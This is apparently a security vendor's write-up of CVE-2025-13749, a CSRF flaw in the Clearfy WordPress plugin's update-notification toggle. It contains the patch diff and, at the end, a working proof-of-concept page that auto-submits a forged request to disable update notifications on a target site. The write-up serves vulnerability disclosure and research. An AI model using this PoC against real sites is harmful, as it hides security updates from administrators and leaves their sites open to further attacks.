Atomic Edge analysis of CVE-2025-13749:
This vulnerability is a Cross-Site Request Forgery (CSRF) flaw in the Clearfy WordPress optimization plugin. The flaw exists in the plugin’s Updates Manager component, specifically in the AJAX handler responsible for toggling update notifications. The vulnerability allows unauthenticated attackers to tamper with update settings, with a CVSS score of 4.3 (Medium severity).
The root cause is missing nonce validation in the `wbcr_upm_change_flag` function. This function, located in `/clearfy/components/updates-manager/admin/ajax/change-flag.php`, processes AJAX requests to change the ‘flag’ parameter, which controls whether update notifications are displayed for plugins or themes. The original vulnerable code, shown in the diff, lacked any CSRF token verification before executing privileged actions. The function only checked for the `install_plugins` capability via `current_user_can`, leaving it open to CSRF attacks.
Exploitation requires an attacker to trick an authenticated administrator with the `install_plugins` capability into submitting a forged request. The attack vector is a standard WordPress AJAX endpoint at `/wp-admin/admin-ajax.php`. The attacker crafts a request with the `action` parameter set to `wbcr_upm_change_flag` and includes the `flag` parameter, which can be set to `0` to disable update notifications or `1` to enable them. The payload is delivered via a malicious link or site that the victim visits, triggering a POST request to the vulnerable endpoint.
The patch adds CSRF protection in two locations. First, in `change-flag.php`, it inserts a call to `check_ajax_referer( ‘wbcr_upm_change_flag’ )` before the capability check. This function verifies the presence and validity of a WordPress nonce (number used once) specific to this action. Second, in `class-page-plugins.php`, the patch adds a `localize` call to inject a freshly generated nonce, named `wbcr_upm_change_flag`, into the page’s JavaScript context. This nonce is then included in legitimate AJAX requests from the plugin’s admin interface. The fix ensures that every state-changing request must include a valid, session-specific token that attackers cannot forge.
Successful exploitation disables update notifications for WordPress plugins and themes. This prevents administrators from seeing available security and feature updates. Attackers can leverage this to keep known vulnerable versions active on a site, facilitating further attacks. The impact is a loss of security visibility, which can be a precursor to more severe compromises if outdated, vulnerable software remains unpatched. The attack does not grant direct code execution or data theft but creates a persistent denial-of-service against the site’s update awareness.
--- a/clearfy/clearfy.php
+++ b/clearfy/clearfy.php
@@ -4,7 +4,7 @@
* Plugin URI: https://clearfy.pro
* Description: Disables unused Wordpress features, improves performance and increases SEO rankings, using Clearfy, which makes WordPress very easy.
* Author: Creative Motion <info@cm-wp.com>
- * Version: 2.4.0
+ * Version: 2.4.1
* Text Domain: clearfy
* Domain Path: /languages/
* Author URI: https://cm-wp.com
--- a/clearfy/components/updates-manager/admin/ajax/change-flag.php
+++ b/clearfy/components/updates-manager/admin/ajax/change-flag.php
@@ -9,6 +9,8 @@
* ajax action for switch option
*/
function wbcr_upm_change_flag() {
+ check_ajax_referer( 'wbcr_upm_change_flag' );
+
if ( ! current_user_can( 'install_plugins' ) ) {
wp_die( - 1, 403 );
}
--- a/clearfy/components/updates-manager/admin/pages/class-page-plugins.php
+++ b/clearfy/components/updates-manager/admin/pages/class-page-plugins.php
@@ -128,6 +128,12 @@
parent::assets( $scripts, $styles );
$this->styles->add( WUPM_PLUGIN_URL . '/admin/assets/css/general.css' );
$this->scripts->add( WUPM_PLUGIN_URL . '/admin/assets/js/ajax-components.js' );
+ $this->scripts->localize(
+ 'wbcr_upm_ajax',
+ array(
+ 'nonce' => wp_create_nonce( 'wbcr_upm_change_flag')
+ )
+ );
// Add Clearfy styles for HMWP pages
if ( defined( 'WCL_PLUGIN_ACTIVE' ) ) {
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-13749 - Clearfy <= 2.4.0 - Cross-Site Request Forgery to Update Notification Tampering
<?php
/**
* Proof-of-Concept for CVE-2025-13749.
* This script generates an HTML page containing a forged form.
* When a logged-in WordPress administrator with 'install_plugins' capability visits this page,
* the form automatically submits a request to disable plugin/theme update notifications
* via the vulnerable Clearfy AJAX endpoint.
*/
// CONFIGURATION
$target_url = 'http://vulnerable-site.example.com'; // Base URL of the target WordPress site
$action = 'wbcr_upm_change_flag';
$flag_value = '0'; // '0' to disable notifications, '1' to enable
?>
<!DOCTYPE html>
<html>
<head>
<title>Clearfy CSRF PoC</title>
</head>
<body>
<h2>CVE-2025-13749 - Clearfy CSRF PoC</h2>
<p>If a Clearfy plugin administrator views this page, the form below will automatically submit a forged request to the vulnerable site.</p>
<p>The request will attempt to disable plugin and theme update notifications.</p>
<form id="csrf_form" action="<?php echo htmlspecialchars($target_url); ?>/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="<?php echo htmlspecialchars($action); ?>">
<input type="hidden" name="flag" value="<?php echo htmlspecialchars($flag_value); ?>">
<!-- The plugin also accepts 'plugin_slug' and 'theme_slug' parameters for targeted disabling -->
<input type="submit" value="Manual Submit (for testing)">
</form>
<script>
// Automatically submit the form when the page loads
document.addEventListener('DOMContentLoaded', function() {
document.getElementById('csrf_form').submit();
});
</script>
</body>
</html>